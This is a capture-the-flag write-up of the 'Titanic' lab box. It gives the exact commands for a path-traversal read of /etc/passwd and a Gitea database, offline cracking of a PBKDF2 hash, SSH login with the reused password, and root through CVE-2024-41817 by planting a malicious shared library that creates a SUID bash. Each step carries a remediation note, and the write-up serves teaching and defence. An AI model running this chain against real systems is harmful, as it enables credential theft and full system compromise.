jperezduerto.info
Titanic
Summary
I exploited a path-traversal flaw in the Flask booking application's file-download endpoint to read arbitrary server files, recovering the Gitea source-control configuration and its SQLite user database. After cracking the developer account's PBKDF2-SHA256 password hash offline, I logged in via SSH — the developer had reused the same password for both Gitea and OS access.
Root was achieved by exploiting CVE-2024-41817: ImageMagick loads shared libraries from its current working directory, and a root-owned cron job processed images in a directory writable by the developer account, allowing a malicious shared library to be planted and executed as root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for developer>"
export HASH3="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Full TCP scan with version detection and default scripts.
$ nmap -sV -sC -p- --min-rate 5000 -oN titanic_nmap.txt $TARGET
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http Apache httpdConfirm Werkzeug/Flask from the Server response header.
$ curl -sI http://$TARGET/Exact commands 4
Confirm traversal and enumerate local OS users; reveals 'developer' account.
$ curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../etc/passwd'Read Gitea config; WORK_PATH=/data/gitea reveals the database location.
$ curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini'Exfiltrate the Gitea SQLite database containing all user password hashes.
$ curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db' -o /tmp/titanic_gitea.dbVerify the downloaded file is a valid SQLite database before querying.
$ file /tmp/titanic_gitea.dbFixSanitise the file download path parameter to prevent directory traversalCritical
Exact commands 4
Extract usernames, PBKDF2 hashes, and salts from the Gitea user table.
$ sqlite3 /tmp/titanic_gitea.db "SELECT name, passwd, salt FROM user;"Write the developer hash in John-compatible format. Replace the truncated hash with the full value from the sqlite3 output.
$ echo "$HASH3" > /tmp/developer.hashCrack offline. Recovered password: $PASSWORD.
$ john --format=PBKDF2-HMAC-SHA256 /tmp/developer.hash --wordlist=/usr/share/wordlists/rockyou.txtDisplay the recovered plaintext password.
$ john --show --format=PBKDF2-HMAC-SHA256 /tmp/developer.hashFixEnforce strong passwords and multi-factor authentication on GiteaHigh
Exact commands 2
Log in using the Gitea password reused for the OS account.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null developer@$TARGETConfirm identity and capture the user flag: <user.txt>
$ id && hostname && cat /home/developer/user.txt
uid=1000(developer)FixDisable SSH password authentication and enforce unique credentials per serviceHigh
Exact commands 5
Confirm the image processing directory is writable by the developer account.
$ ls -la /opt/app/static/assets/images/Write the malicious shared library source; the constructor runs automatically when the library is loaded by any process.
$ cat > /opt/app/static/assets/images/xcbroot.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash; /bin/cat /root/root.txt > /tmp/rootflag; /bin/chmod 644 /tmp/rootflag");
}
EOFCompile as a shared library named libxcb.so.1 — the filename ImageMagick searches for per CVE-2024-41817.
$ gcc -x c -shared -fPIC -nostartfiles -o /opt/app/static/assets/images/libxcb.so.1 /opt/app/static/assets/images/xcbroot.cPoll until the cron fires and the SUID binary appears (typically within 60 seconds).
$ watch -n 5 ls -la /tmp/rootbashRun the SUID bash with preserved root privileges. Captures root flag: <root.txt>
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'FixPatch ImageMagick for CVE-2024-41817 and restrict the cron job's working directoryCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.